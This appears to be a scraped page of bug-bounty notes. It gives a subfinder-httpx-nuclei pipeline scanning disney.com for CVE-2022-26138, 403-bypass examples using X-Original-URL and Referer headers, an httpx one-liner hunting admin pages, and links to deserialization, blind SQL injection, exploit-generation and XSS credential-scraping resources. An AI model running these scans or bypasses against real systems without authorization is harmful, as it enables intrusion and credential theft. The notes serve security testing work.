subfinder -d disney.com -silent -all \u00c0 httpx -silent -threads 100 | nuclei -id CVE-2022-26138 -v<\/p>\n
fuxploider : file upload vulnerability scanner and exploitation tool<\/p>\n
—————————————<\/p>\n
If you want to bypass endpoint always to use own methodology. <\/p>\n
Example: <\/p>\n
Http Header based bypass: <\/p>\n
1. X Original URL: \/redact <\/p>\n
Example: <\/p>\n
GET \/api\/getUser HTTP\/1.1 -> 403
\nHost: redact.com <\/p>\n
GET \/ HTTP\/1.1
\nHost: redact.com
\nX Original URL: \/api\/getUser -> 200 OK <\/p>\n
2. Referer: https:\/\/site.com\/api\/redact <\/p>\n
Example: <\/p>\n
GET \/api\/getUser HTTP\/1.1 -> access denied
\nHost: redact.com <\/p>\n
GET \/ HTTP\/1.1
\nHost: redact.com
\nReferer: https:\/\/site.com\/api\/getUser \u2014> 200 OK <\/p>\n
or <\/p>\n
GET \/api\/getUser HTTP\/1.1
\nHost: redact.com
\nReferer: https:\/\/site.com\/api\/getUser -> 200 OK <\/p>\n
—————————————–
\nexpression r\u00e9guli\u00e8re pour trouver des secrets
\n————————————–<\/p>\n
Bug bounty platform
\nbugcrowd
\nhackerone
\n———————<\/p>\n
Trouver des comptes administrateurs<\/p>\n
cat domains_list.txt | httpx -ports 80,443,8080,8443 -paths “wordlist.txt” -mr “password”<\/p>\n
https:\/\/raw.githubusercontent.com\/the-robot\/admin-finder\/master\/wordlist.txt<\/p>\n
—————————-
\nJava Deserialization Cheat Sheet
\nhttps:\/\/github.com\/GrrrDog\/Java-Deserialization-Cheat-Sheet
\n—————————<\/p>\n
Automation Time-based Blind SQL injection on HTTP Headers using Blisqy tool
\nhttps:\/\/github.com\/JohnTroony\/Blisqy<\/p>\n
——————————
\nZeratool v2.2: Automatic Exploit Generation (AEG) with automated remote libc leaking and ret2dlresolve rop chain generation for exploitable CTF problems.
\n——————————
\nscraping login with xss<\/p>\n
Scraping Login Credentials With XSS<\/a><\/p><\/blockquote>\n